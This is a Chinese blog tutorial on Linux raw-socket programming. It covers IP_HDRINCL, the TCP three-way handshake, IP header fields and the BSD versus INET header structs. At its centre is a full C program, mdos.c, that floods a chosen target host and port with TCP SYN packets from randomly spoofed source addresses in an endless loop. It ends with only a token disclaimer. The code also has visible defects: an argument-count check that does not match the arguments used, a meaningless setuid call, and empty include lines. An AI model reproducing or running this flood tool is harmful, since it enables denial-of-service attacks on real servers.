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Linux网络编程:原始套接字的魔力【上】

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[大数据技术 所属分类 大数据技术 | 发布者 店小二05 | 时间 | 作者 红领巾 ] 0人收藏点击收藏

基于原始套接字编程

在开发面向连接的TCP和面向无连接的UDP程序时,我们所关心的核心问题在于数据收发层面,数据的传输特性由TCP或UDP来保证:


Linux网络编程:原始套接字的魔力【上】

也就是说,对于TCP或UDP的程序开发,焦点在Data字段,我们没法直接对TCP或UDP头部字段进行赤裸裸的修改,当然还有IP头。换句话说,我们对它们头部操作的空间非常受限,只能使用它们已经开放给我们的诸如源、目的IP,源、目的端口等等。


今天我们讨论一下原始套接字的程序开发,用它作为入门协议栈的进阶跳板太合适不过了。OK闲话不多说,进入正题。

原始套接字的创建方法也不难:socket(AF_INET, SOCK_RAW, protocol)。

重点在protocol字段,这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值,注意:有些系统中不一定实现了netinet/in.h中的所有协议。源代码的linux/in.h中和netinet/in.h中的内容一样。


Linux网络编程:原始套接字的魔力【上】

我们常见的有IPPROTO_TCP,IPPROTO_UDP和IPPROTO_ICMP,在博文“(十六)洞悉linux下的Netfilter&iptables:开发自己的hook函数【实战】(下) ”中我们见到该protocol字段为IPPROTO_RAW时的情形,后面我们会详细介绍。


用这种方式我就可以得到原始的IP包了,然后就可以自定义IP所承载的具体协议类型,如TCP,UDP或ICMP,并手动对每种承载在IP协议之上的报文进行填充。接下来我们看个最著名的例子DOS攻击的示例代码,以便大家更好的理解如何基于原始套接字手动去封装我们所需要TCP报文。


先简单复习一下TCP报文的格式,因为我们本身不是讲协议的设计思想,所以只会提及和我们接下来主题相关的字段,如果想对TCP协议原理进行深入了解那么《TCP/IP详解卷1》无疑是最好的选择。


Linux网络编程:原始套接字的魔力【上】

我们目前主要关注上面着色部分的字段就OK了,接下来再看看TCP3次握手的过程。TCP的3次握手的一般流程是:


(1) 第一次握手:建立连接时,客户端A发送SYN包(SEQ_NUMBER=j)到服务器B,并进入SYN_SEND状态,等待服务器B确认。


(2) 第二次握手:服务器B收到SYN包,必须确认客户A的SYN(ACK_NUMBER=j+1),同时自己也发送一个SYN包(SEQ_NUMBER=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。


(3) 第三次握手:客户端A收到服务器B的SYN+ACK包,向服务器B发送确认包ACK(ACK_NUMBER=k+1),此包发送完毕,客户端A和服务器B进入ESTABLISHED状态,完成三次握手。


至此3次握手结束,TCP通路就建立起来了,然后客户端与服务器开始交互数据。上面描述过程中,SYN包表示TCP数据包的标志位syn=1,同理,ACK表示TCP报文中标志位ack=1,SYN+ACK表示标志位syn=1和ack=1同时成立。


原始套接字还提供了一个非常有用的参数IP_HDRINCL:

1、当开启该参数时:我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项,但是IP报文头部中的标识字段(设置为0时)和IP首部校验和字段总是由内核自己维护的,不需要我们关心。


2、如果不开启该参数:我们所构造的报文是从IP首部之后的第一个字节开始,IP首部由内核自己维护,首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。


开启IP_HDRINCL特性的模板代码一般为:

const int on =1;

if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){

printf("setsockopt error!\n");

}

所以,我们还得复习一下IP报文的首部格式:


Linux网络编程:原始套接字的魔力【上】

同样,我们重点关注IP首部中的着色部分区段的填充情况。


有了上面的知识做铺垫,接下来DOS示例代码的编写就相当简单了。我们来体验一下手动构造原生态IP报文的乐趣吧:

点击(此处)折叠或打开

//mdos.c

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include


//我们自己写的攻击函数

void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);

//如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。

unsigned short check_sum(unsigned short *addr,int len);


int main(int argc,char** argv){

int skfd;

struct sockaddr_in target;

struct hostent *host;

const int on=1;

unsigned short srcport;


if(argc!=2)

{

printf("Usage:%s target dstport srcport\n",argv[0]);

exit(1);

}


bzero(&target,sizeof(struct sockaddr_in));

target.sin_family=AF_INET;

target.sin_port=htons(atoi(argv[2]));
if(inet_aton(argv[1],&target.sin_addr)==0)

{

host=gethostbyname(argv[1]);

if(host==NULL)

{

printf("TargetName Error:%s\n",hstrerror(h_errno));

exit(1);

}

target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);

}


//将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字

if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){

perror("Create Error");

exit(1);

}


//用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文

if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){

perror("IP_HDRINCL failed");

exit(1);

}


//因为只有root用户才可以play with raw socket :)

setuid(getpid());

srcport = atoi(argv[3]);

attack(skfd,&target,srcport);

}


//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去

void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){

char buf[128]={0};

struct ip *ip;

struct tcphdr *tcp;

int ip_len;


//在我们TCP的报文中Data没有字段,所以整个IP报文的长度

ip_len = sizeof(struct ip)+sizeof(struct tcphdr);

//开始填充IP首部

ip=(struct ip*)buf;


ip->ip_v = IPVERSION;

ip->ip_hl = sizeof(struct ip)>>2;

ip->ip_tos = 0;

ip->ip_len = htons(ip_len);

ip->ip_id=0;

ip->ip_off=0;

ip->ip_ttl=MAXTTL;

ip->ip_p=IPPROTO_TCP;

ip->ip_sum=0;

ip->ip_dst=target->sin_addr;


//开始填充TCP首部

tcp = (struct tcphdr*)(buf+sizeof(struct ip));

tcp->source = htons(srcport);

tcp->dest = target->sin_port;

tcp->seq = random();

tcp->doff = 5;

tcp->syn = 1;

tcp->check = 0;


while(1){

//源地址伪造,我们随便任意生成个地址,让服务器一直等待下去

ip->ip_src.s_addr = random();

tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));

sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));

}

}


//关于CRC校验和的计算,网上一大堆,我就“拿来主义”了

unsigned short check_sum(unsigned short *addr,int len){

register int nleft=len;

register int sum=0;

register short *w=addr;

short answer=0;


while(nleft>1)

{

sum+=*w++;

nleft-=2;

}

if(nleft==1)

{

*(unsigned char *)(&answer)=*(unsigned char *)w;

sum+=answer;

}


sum=(sum>>16)+(sum&0xffff);

sum+=(sum>>16);

answer=~sum;

return(answer);

}

用前面我们自己编写TCP服务器端程序来做本地测试,看看效果。先把服务器端程序启动起来,如下:


Linux网络编程:原始套接字的魔力【上】

然后,我们编写的“捣蛋”程序登场了:


Linux网络编程:原始套接字的魔力【上】

该“mdos”命令执行一段时间后,服务器端的输出如下:


Linux网络编程:原始套接字的魔力【上】

因为我们的源IP地址是随机生成的,源端口固定为8888,服务器端收到我们的SYN报文后,会为其分配一条连接资源,并将该连接的状态置为SYN_RECV,然后给客户端回送一个确认,并要求客户端再次确认,可我们却不再bird别个了,这样就会造成服务端一直等待直到超时。

备注:本程序仅供交流分享使用,不要做恶,不然后果自负哦。


最后补充一点,看到很多新手经常对struct ip{}和struct iphdr{},struct icmp{}和struct icmphdr{}纠结来纠结去了,不知道何时该用哪个。


在/usr/include/netinet目录这些结构所属头文件的定义,头文件中对这些结构也做了很明确的说明,这里我们简单总结一下:

struct ip{}、struct icmp{}是供BSD系统层使用,struct iphdr{}和struct icmphdr{}是在INET层调用。同理tcphdr和udphdr分别都已经和谐统一了,参见tcp.h和udp.h。


BSD和INET的解释在协议栈篇章详细论述,这里大家可以简单这样来理解:我们在用户空间的编写网络应用程序的层次就叫做BSD层。所以我们该用什么样的数据结构呢?良好的编程习惯当然是BSD层推荐我们使用的,struct ip{}、struct icmp{}。至于INET层的两个同类型的结构体struct iphdr{}和struct icmphdr{}能用不?我只能说不建议。看个例子:


Linux网络编程:原始套接字的魔力【上】

我们可以看到无论BSD还是INET层的IP数据包结构体大小是相等的,ICMP报文的大小有差异。而我们知道ICMP报头应该是8字节,那么BSD层为什么是28字节呢?留给大家思考。也就是说,我们这个mdos.c的实例程序中除了用struct ip{}之外还可以用INET层的struct iphdr{}结构。将如下代码:

点击(此处)折叠或打开

struct ip *ip;

ip=(struct ip*)buf;

ip->ip_v = IPVERSION;

ip->ip_hl = sizeof(struct ip)>>2;

ip->ip_tos = 0;

ip->ip_len = htons(ip_len);

ip->ip_id=0;

ip->ip_off=0;

ip->ip_ttl=MAXTTL;

ip->ip_p=IPPROTO_TCP;

ip->ip_sum=0;

ip->ip_dst=target->sin_addr;

ip->ip_src.s_addr = random();

改成:

点击(此处)折叠或打开

struct iphdr *ip;

ip=(struct iphdr*)buf;

ip->version = IPVERSION;

ip->ihl = sizeof(struct ip)>>2;

ip->tos = 0;

ip->tot_len = htons(ip_len);

ip->id=0;

ip->frag_off=0;

ip->ttl=MAXTTL;

ip->protocol=IPPROTO_TCP;

ip->check=0;

ip->daddr=target->sin_addr.s_addr;

ip->saddr = random();

结果请童鞋们自己验证。虽然结果一样,但在BSD层直接使用INET层的数据结构还是不被推荐的。


小结:

1、IP_HDRINCL选项可以使我们控制到底是要从IP头部第一个字节开始构造我们的原始报文或者从IP头部之后第一个数据字节开始。

2、只有超级用户才能创建原始套接字。

3、原始套接字上也可以调用connet、bind之类的函数,但都不常见。原因请大家回顾一下这两个函数的作用。想不起来的童鞋回头复习一下前两篇的内容吧。


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